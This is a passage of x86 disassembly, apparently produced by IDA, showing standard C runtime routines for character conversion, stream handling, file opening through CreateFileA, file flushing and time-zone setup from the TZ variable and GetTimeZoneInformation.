loc_4333A4:				; CODE XREF: sub_43337F+42j
					; sub_43337F+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4333A8:				; CODE XREF: sub_43337F+17j
		cmp	dword_6769A8, ebx
		jnz	short loc_4333C3
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_4333BE
		movzx	ax, al
		mov	[ecx], ax


loc_4333BE:				; CODE XREF: sub_43337F+36j
					; sub_43337F+C1j
		push	1
		pop	eax
		jmp	short loc_4333A4
; ---------------------------------------------------------------------------


loc_4333C3:				; CODE XREF: sub_43337F+2Fj
		mov	ecx, off_4533B8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_433421
		mov	eax, dword_4535C4
		cmp	eax, 1
		jle	short loc_433407
		cmp	[ebp+arg_8], eax
		jl	short loc_433411
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_6769B8
		call	dword_437184	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_4535C4
		jnz	short loc_4333A4


loc_433407:				; CODE XREF: sub_43337F+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_433411
		cmp	[esi+1], bl
		jnz	short loc_4333A4


loc_433411:				; CODE XREF: sub_43337F+61j
					; sub_43337F+8Bj ...
		call	sub_42F119
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4333A4
; ---------------------------------------------------------------------------


loc_433421:				; CODE XREF: sub_43337F+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_6769B8
		call	dword_437184	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_4333BE
		jmp	short loc_433411
sub_43337F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_433450	proc near		; CODE XREF: sub_42E5F5+797p
					; sub_42E5F5+7E7p
		cmp	cl, 40h
		jnb	short loc_43346A
		cmp	cl, 20h
		jnb	short loc_433460
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_433460:				; CODE XREF: sub_433450+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_43346A:				; CODE XREF: sub_433450+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_433450	endp


; =============== S U B	R O U T	I N E =======================================



sub_43346F	proc near		; CODE XREF: sub_42F06B+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_4334BB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_43348D
		test	al, 80h
		jz	short loc_4334BB
		test	al, 2
		jnz	short loc_4334BB


loc_43348D:				; CODE XREF: sub_43346F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_43349A
		push	esi
		call	sub_4331F3
		pop	ecx


loc_43349A:				; CODE XREF: sub_43346F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4334AA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4334BB
		inc	eax
		mov	[esi], eax


loc_4334AA:				; CODE XREF: sub_43346F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_4334C1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_4334C7
		inc	eax
		mov	[esi], eax


loc_4334BB:				; CODE XREF: sub_43346F+9j
					; sub_43346F+18j ...
		or	eax, 0FFFFFFFFh


loc_4334BE:				; CODE XREF: sub_43346F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: sub_43346F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_4334C7:				; CODE XREF: sub_43346F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_4334BE
sub_43346F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4334DD	proc near		; CODE XREF: sub_42F12B+5Ep
					; sub_43291B+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437D88
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_676B30
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_43354C
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_437670
		push	esi
		call	dword_4371B8	; GetStringTypeW
		test	eax, eax
		jz	short loc_43352A
		mov	eax, esi
		jmp	short loc_433547
; ---------------------------------------------------------------------------


loc_43352A:				; CODE XREF: sub_4334DD+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_454038
		push	esi
		push	ebx
		call	dword_4371BC	; GetStringTypeA
		test	eax, eax
		jz	loc_433612
		push	2
		pop	eax


loc_433547:				; CODE XREF: sub_4334DD+4Bj
		mov	dword_676B30, eax


loc_43354C:				; CODE XREF: sub_4334DD+2Fj
		cmp	eax, 2
		jnz	short loc_433575
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_43355D
		mov	eax, dword_6769A8


loc_43355D:				; CODE XREF: sub_4334DD+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_4371BC	; GetStringTypeA
		jmp	loc_433614
; ---------------------------------------------------------------------------


loc_433575:				; CODE XREF: sub_4334DD+72j
		cmp	eax, 1
		jnz	loc_433612
		cmp	[ebp+arg_10], ebx
		jnz	short loc_43358B
		mov	eax, dword_6769B8
		mov	[ebp+arg_10], eax


loc_43358B:				; CODE XREF: sub_4334DD+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_437184	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_433612
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_429B60
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_429760
		add	esp, 0Ch
		jmp	short loc_4335E1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4335E1:				; CODE XREF: sub_4334DD+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_433612
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_437184	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_433612
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_4371B8	; GetStringTypeW
		jmp	short loc_433614
; ---------------------------------------------------------------------------


loc_433612:				; CODE XREF: sub_4334DD+61j
					; sub_4334DD+9Bj ...
		xor	eax, eax


loc_433614:				; CODE XREF: sub_4334DD+93j
					; sub_4334DD+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4334DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_433626	proc near		; CODE XREF: sub_42F2AB+1Ep

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_676FE0
		push	esi
		push	edi
		jnb	short loc_4336A7
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:676EE0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4336A7
		push	ebx
		call	sub_43241B
		mov	eax, [edi]
		pop	ecx
		test	byte ptr [eax+esi+4], 1
		jz	short loc_43368E
		push	ebx
		call	sub_4323D9
		pop	ecx
		push	eax
		call	dword_4371B4	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_433681
		call	dword_437170	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_433683
; ---------------------------------------------------------------------------


loc_433681:				; CODE XREF: sub_433626+4Fj
		xor	esi, esi


loc_433683:				; CODE XREF: sub_433626+59j
		test	esi, esi
		jz	short loc_43369C
		call	sub_42F122
		mov	[eax], esi


loc_43368E:				; CODE XREF: sub_433626+3Dj
		call	sub_42F119
		mov	dword ptr [eax], 9
		or	esi, 0FFFFFFFFh


loc_43369C:				; CODE XREF: sub_433626+5Fj
		push	ebx
		call	sub_43247A
		pop	ecx
		mov	eax, esi
		jmp	short loc_4336B5
; ---------------------------------------------------------------------------


loc_4336A7:				; CODE XREF: sub_433626+Dj
					; sub_433626+2Dj
		call	sub_42F119
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_4336B5:				; CODE XREF: sub_433626+7Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_433626	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4336B9	proc near		; CODE XREF: sub_42F990+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_4336DF
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_4336EA
; ---------------------------------------------------------------------------


loc_4336DF:				; CODE XREF: sub_4336B9+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_4336EA:				; CODE XREF: sub_4336B9+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_433704
		test	ch, 40h
		jnz	short loc_433700
		cmp	dword_676C64, eax
		jz	short loc_433704


loc_433700:				; CODE XREF: sub_4336B9+3Dj
		or	[ebp+var_1], 80h


loc_433704:				; CODE XREF: sub_4336B9+38j
					; sub_4336B9+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_43372B
		dec	eax
		jz	short loc_433722
		dec	eax
		jnz	loc_4337BD
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_433732
; ---------------------------------------------------------------------------


loc_433722:				; CODE XREF: sub_4336B9+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_433732
; ---------------------------------------------------------------------------


loc_43372B:				; CODE XREF: sub_4336B9+54j
		mov	[ebp+var_C], 80000000h


loc_433732:				; CODE XREF: sub_4336B9+67j
					; sub_4336B9+70j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_433760
		cmp	eax, 20h
		jz	short loc_433757
		cmp	eax, 30h
		jz	short loc_43374E
		cmp	eax, 40h
		jnz	short loc_4337BD
		mov	[ebp+var_10], esi
		jmp	short loc_433763
; ---------------------------------------------------------------------------


loc_43374E:				; CODE XREF: sub_4336B9+89j
		mov	[ebp+var_10], 2
		jmp	short loc_433763
; ---------------------------------------------------------------------------


loc_433757:				; CODE XREF: sub_4336B9+84j
		mov	[ebp+var_10], 1
		jmp	short loc_433763
; ---------------------------------------------------------------------------


loc_433760:				; CODE XREF: sub_4336B9+7Fj
		mov	[ebp+var_10], ebx


loc_433763:				; CODE XREF: sub_4336B9+93j
					; sub_4336B9+9Cj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_4337A9
		jz	short loc_4337A4
		cmp	ecx, ebx
		jz	short loc_4337A4
		cmp	ecx, edi
		jz	short loc_43379B
		cmp	ecx, 200h
		jz	short loc_4337D7
		cmp	ecx, 300h
		jnz	short loc_4337BD
		mov	[ebp+var_8], 2
		jmp	short loc_4337E7
; ---------------------------------------------------------------------------


loc_43379B:				; CODE XREF: sub_4336B9+C7j
		mov	[ebp+var_8], 4
		jmp	short loc_4337E7
; ---------------------------------------------------------------------------


loc_4337A4:				; CODE XREF: sub_4336B9+BFj
					; sub_4336B9+C3j
		mov	[ebp+var_8], esi
		jmp	short loc_4337E7
; ---------------------------------------------------------------------------


loc_4337A9:				; CODE XREF: sub_4336B9+BDj
		cmp	ecx, 500h
		jz	short loc_4337E0
		cmp	ecx, 600h
		jz	short loc_4337D7
		cmp	ecx, edx
		jz	short loc_4337E0


loc_4337BD:				; CODE XREF: sub_4336B9+5Aj
					; sub_4336B9+8Ej ...
		call	sub_42F119
		mov	dword ptr [eax], 16h
		call	sub_42F122
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh
		jmp	loc_433983
; ---------------------------------------------------------------------------


loc_4337D7:				; CODE XREF: sub_4336B9+CFj
					; sub_4336B9+FEj
		mov	[ebp+var_8], 5
		jmp	short loc_4337E7
; ---------------------------------------------------------------------------


loc_4337E0:				; CODE XREF: sub_4336B9+F6j
					; sub_4336B9+102j
		mov	[ebp+var_8], 1


loc_4337E7:				; CODE XREF: sub_4336B9+E0j
					; sub_4336B9+E9j ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_433806
		mov	ecx, dword_6769CC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_433806
		push	1
		pop	esi


loc_433806:				; CODE XREF: sub_4336B9+138j
					; sub_4336B9+148j
		test	al, 40h
		jz	short loc_433814
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_433814:				; CODE XREF: sub_4336B9+14Fj
		test	ah, 10h
		jz	short loc_43381B
		or	esi, edi


loc_43381B:				; CODE XREF: sub_4336B9+15Ej
		test	al, 20h
		jz	short loc_433827
		or	esi, 8000000h
		jmp	short loc_433831
; ---------------------------------------------------------------------------


loc_433827:				; CODE XREF: sub_4336B9+164j
		test	al, 10h
		jz	short loc_433831
		or	esi, 10000000h


loc_433831:				; CODE XREF: sub_4336B9+16Cj
					; sub_4336B9+170j
		call	sub_4321BB
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_433859
		call	sub_42F119
		mov	dword ptr [eax], 18h
		call	sub_42F122
		and	dword ptr [eax], 0
		mov	eax, edi
		jmp	loc_433983
; ---------------------------------------------------------------------------


loc_433859:				; CODE XREF: sub_4336B9+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_43705C	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_43388C


loc_433878:				; CODE XREF: sub_4336B9+1E5j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		call	sub_42F0A6
		pop	ecx
		mov	esi, edi
		jmp	loc_43397A
; ---------------------------------------------------------------------------


loc_43388C:				; CODE XREF: sub_4336B9+1BDj
		push	esi
		call	dword_4371F4	; GetFileType
		test	eax, eax
		jnz	short loc_4338A0
		push	esi
		call	dword_437044	; CloseHandle
		jmp	short loc_433878
; ---------------------------------------------------------------------------


loc_4338A0:				; CODE XREF: sub_4336B9+1DCj
		cmp	eax, 2
		jnz	short loc_4338AB
		or	[ebp+var_1], 40h
		jmp	short loc_4338B4
; ---------------------------------------------------------------------------


loc_4338AB:				; CODE XREF: sub_4336B9+1EAj
		cmp	eax, 3
		jnz	short loc_4338B4
		or	[ebp+var_1], 8


loc_4338B4:				; CODE XREF: sub_4336B9+1F0j
					; sub_4336B9+1F5j
		push	esi
		push	ebx
		call	sub_4322DE
		mov	eax, ebx
		pop	ecx
		sar	eax, 5
		pop	ecx
		mov	cl, [ebp+var_1]
		lea	edi, ds:676EE0h[eax*4]
		mov	eax, ebx
		or	cl, 1
		and	eax, 1Fh
		mov	byte ptr [ebp+arg_0+3],	cl
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[eax+esi+4], cl
		jnz	short loc_433961
		test	cl, 80h
		jz	short loc_433961
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_433961
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42F91D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_433922
		call	sub_42F122
		cmp	dword ptr [eax], 83h
		jz	short loc_433961


loc_433916:				; CODE XREF: sub_4336B9+294j
					; sub_4336B9+2A6j
		push	ebx
		call	sub_42F1A0
		pop	ecx
		or	esi, 0FFFFFFFFh
		jmp	short loc_43397A
; ---------------------------------------------------------------------------


loc_433922:				; CODE XREF: sub_4336B9+24Ej
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_42F523
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43394F
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_43394F
		push	[ebp+var_10]
		push	ebx
		call	sub_434DF9
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_433916


loc_43394F:				; CODE XREF: sub_4336B9+27Ej
					; sub_4336B9+284j
		push	0
		push	0
		push	ebx
		call	sub_42F91D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_433916


loc_433961:				; CODE XREF: sub_4336B9+22Ej
					; sub_4336B9+233j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_433978
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_433978
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_433978:				; CODE XREF: sub_4336B9+2ACj
					; sub_4336B9+2B2j
		mov	esi, ebx


loc_43397A:				; CODE XREF: sub_4336B9+1CEj
					; sub_4336B9+267j
		push	ebx
		call	sub_43247A
		pop	ecx
		mov	eax, esi


loc_433983:				; CODE XREF: sub_4336B9+119j
					; sub_4336B9+19Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4336B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_433988	proc near		; CODE XREF: sub_43046C:loc_4304ABp
		cmp	dword_676BF0, 0
		jnz	short locret_4339B5
		push	0Bh
		call	sub_42DAEF
		cmp	dword_676BF0, 0
		pop	ecx
		jnz	short loc_4339AD
		call	sub_4339B6
		inc	dword_676BF0


loc_4339AD:				; CODE XREF: sub_433988+18j
		push	0Bh
		call	sub_42DB50
		pop	ecx

locret_4339B5:				; CODE XREF: sub_433988+7j
		retn
sub_433988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4339B6	proc near		; CODE XREF: sub_433988+1Ap

var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	0Ch
		pop	edi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_8], ebx
		call	sub_42DAEF
		or	dword_453BC8, 0FFFFFFFFh
		or	dword_453BB8, 0FFFFFFFFh
		mov	dword_676B38, ebx
		mov	[esp+18h+var_18], offset aTz ; "TZ"
		call	sub_4312E3
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	loc_433AF4
		push	edi
		call	sub_42DB50
		mov	[esp+18h+var_18], offset dword_676B40
		call	dword_437218	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	loc_433C38
		mov	eax, dword_676B40
		mov	ecx, dword_676B94
		imul	eax, 3Ch
		cmp	word_676B86, bx
		push	1
		pop	edx
		mov	dword_453B24, eax
		mov	dword_676B38, edx
		jz	short loc_433A44
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_453B24, eax


loc_433A44:				; CODE XREF: sub_4339B6+80j
		cmp	word_676BDA, bx
		jz	short loc_433A68
		mov	eax, dword_676BE8
		cmp	eax, ebx
		jz	short loc_433A68
		sub	eax, ecx
		mov	dword_453B28, edx
		imul	eax, 3Ch
		mov	dword_453B2C, eax
		jmp	short loc_433A74
; ---------------------------------------------------------------------------


loc_433A68:				; CODE XREF: sub_4339B6+95j
					; sub_4339B6+9Ej
		mov	dword_453B28, ebx
		mov	dword_453B2C, ebx


loc_433A74:				; CODE XREF: sub_4339B6+B0j
		lea	eax, [ebp+var_4]
		mov	esi, dword_437074
		push	eax
		push	ebx
		push	3Fh
		mov	edi, 220h
		push	off_453BB0
		push	0FFFFFFFFh
		push	offset dword_676B44
		push	edi
		push	dword_6769B8
		call	esi ; dword_437074
		test	eax, eax
		jz	short loc_433AB0
		cmp	[ebp+var_4], ebx
		jnz	short loc_433AB0
		mov	eax, off_453BB0
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_433AB8
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: sub_4339B6+E8j
					; sub_4339B6+EDj
		mov	eax, off_453BB0
		and	byte ptr [eax],	0


loc_433AB8:				; CODE XREF: sub_4339B6+F8j
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	3Fh
		push	off_453BB4
		push	0FFFFFFFFh
		push	offset dword_676B98
		push	edi
		push	dword_6769B8
		call	esi ; dword_437074
		test	eax, eax
		jz	loc_433C27
		cmp	[ebp+var_4], ebx
		jnz	loc_433C27
		mov	eax, off_453BB4
		and	byte ptr [eax+3Fh], 0
		jmp	loc_433C38
; ---------------------------------------------------------------------------


loc_433AF4:				; CODE XREF: sub_4339B6+3Bj
		cmp	byte ptr [esi],	0
		jz	loc_433C31
		mov	eax, dword_676BEC
		cmp	eax, ebx
		jz	short loc_433B17
		push	eax
		push	esi
		call	sub_42B260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_433C31


loc_433B17:				; CODE XREF: sub_4339B6+14Ej
		push	dword_676BEC
		call	sub_4298F2
		push	esi
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_4297B8
		add	esp, 0Ch
		cmp	eax, ebx
		mov	dword_676BEC, eax
		jz	loc_433C31
		push	esi
		push	eax
		call	sub_42A5D0
		push	edi
		call	sub_42DB50
		push	3
		push	esi
		push	off_453BB0
		call	sub_429D10
		mov	eax, off_453BB0
		add	esi, 3
		add	esp, 18h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_433B76
		mov	[ebp+var_8], 1
		inc	esi


loc_433B76:				; CODE XREF: sub_4339B6+1B6j
		push	esi
		call	sub_42A075
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_453B24, ecx


loc_433B8D:				; CODE XREF: sub_4339B6+1E6j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_433B9B
		cmp	al, bl
		jl	short loc_433B9E
		cmp	al, 39h
		jg	short loc_433B9E


loc_433B9B:				; CODE XREF: sub_4339B6+1DBj
		inc	esi
		jmp	short loc_433B8D
; ---------------------------------------------------------------------------


loc_433B9E:				; CODE XREF: sub_4339B6+1DFj
					; sub_4339B6+1E3j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_433BF1
		inc	esi
		push	esi
		call	sub_42A075
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_453B24
		add	ecx, eax
		mov	dword_453B24, ecx


loc_433BBC:				; CODE XREF: sub_4339B6+211j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_433BC9
		cmp	al, 39h
		jg	short loc_433BC9
		inc	esi
		jmp	short loc_433BBC
; ---------------------------------------------------------------------------


loc_433BC9:				; CODE XREF: sub_4339B6+20Aj
					; sub_4339B6+20Ej
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_433BF1
		inc	esi
		push	esi
		call	sub_42A075
		pop	ecx
		mov	ecx, dword_453B24
		add	ecx, eax
		mov	dword_453B24, ecx


loc_433BE4:				; CODE XREF: sub_4339B6+239j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_433BF1
		cmp	al, 39h
		jg	short loc_433BF1
		inc	esi
		jmp	short loc_433BE4
; ---------------------------------------------------------------------------


loc_433BF1:				; CODE XREF: sub_4339B6+1EBj
					; sub_4339B6+216j ...
		cmp	[ebp+var_8], 0
		jz	short loc_433BFF
		neg	ecx
		mov	dword_453B24, ecx


loc_433BFF:				; CODE XREF: sub_4339B6+23Fj
		movsx	eax, byte ptr [esi]
		test	eax, eax
		mov	dword_453B28, eax
		jz	short loc_433C27
		push	3
		push	esi
		push	off_453BB4
		call	sub_429D10
		mov	eax, off_453BB4
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_433C38
; ---------------------------------------------------------------------------


loc_433C27:				; CODE XREF: sub_4339B6+121j
					; sub_4339B6+12Aj ...
		mov	eax, off_453BB4
		and	byte ptr [eax],	0
		jmp	short loc_433C38
; ---------------------------------------------------------------------------


loc_433C31:				; CODE XREF: sub_4339B6+141j
					; sub_4339B6+15Bj ...
		push	edi
		call	sub_42DB50
		pop	ecx


loc_433C38:				; CODE XREF: sub_4339B6+57j
					; sub_4339B6+139j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4339B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_433C3D	proc near		; CODE XREF: sub_43046C+A5p

arg_0		= dword	ptr  4

		push	esi
		push	0Bh
		call	sub_42DAEF
		push	[esp+8+arg_0]
		call	sub_433C5E
		push	0Bh
		mov	esi, eax
		call	sub_42DB50
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_433C3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_433C5E	proc near		; CODE XREF: sub_433C3D+Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_453B28, edi
		jnz	short loc_433C72


loc_433C6B:				; CODE XREF: sub_433C5E+148j
					; sub_433C5E+150j ...
		xor	eax, eax
		jmp	loc_433DBE
; ---------------------------------------------------------------------------


loc_433C72:				; CODE XREF: sub_433C5E+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_453BB8
		jnz	short loc_433C90
		cmp	eax, dword_453BC8
		jz	loc_433D92


loc_433C90:				; CODE XREF: sub_433C5E+24j
		cmp	dword_676B38, edi
		jz	loc_433D68
		movzx	ecx, word_676BE6
		push	ecx
		cmp	word_676BD8, di
		movzx	ecx, word_676BE4
		push	ecx
		movzx	ecx, word_676BE2
		push	ecx
		movzx	ecx, word_676BE0
		push	ecx
		jnz	short loc_433CE2
		movzx	ecx, word_676BDC
		push	edi
		push	ecx
		movzx	ecx, word_676BDE
		push	ecx
		movzx	ecx, word_676BDA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_433CF6
; ---------------------------------------------------------------------------


loc_433CE2:				; CODE XREF: sub_433C5E+65j
		movzx	ecx, word_676BDE
		push	ecx
		push	edi
		movzx	ecx, word_676BDA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_433CF6:				; CODE XREF: sub_433C5E+82j
		push	ebx
		call	sub_433E0A
		movzx	eax, word_676B92
		add	esp, 2Ch
		cmp	word_676B84, di
		push	eax
		movzx	eax, word_676B90
		push	eax
		movzx	eax, word_676B8E
		push	eax
		movzx	eax, word_676B8C
		push	eax
		jnz	short loc_433D50
		movzx	eax, word_676B88
		push	edi
		push	eax
		movzx	eax, word_676B8A
		push	eax
		movzx	eax, word_676B86
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_433D45:				; CODE XREF: sub_433C5E+108j
		push	edi
		call	sub_433E0A
		add	esp, 2Ch
		jmp	short loc_433D92
; ---------------------------------------------------------------------------


loc_433D50:				; CODE XREF: sub_433C5E+C8j
		movzx	eax, word_676B8A
		push	eax
		push	edi
		movzx	eax, word_676B86
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_433D45
; ---------------------------------------------------------------------------


loc_433D68:				; CODE XREF: sub_433C5E+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_433E0A
		push	edi
		push	edi
		push	edi
		push	2
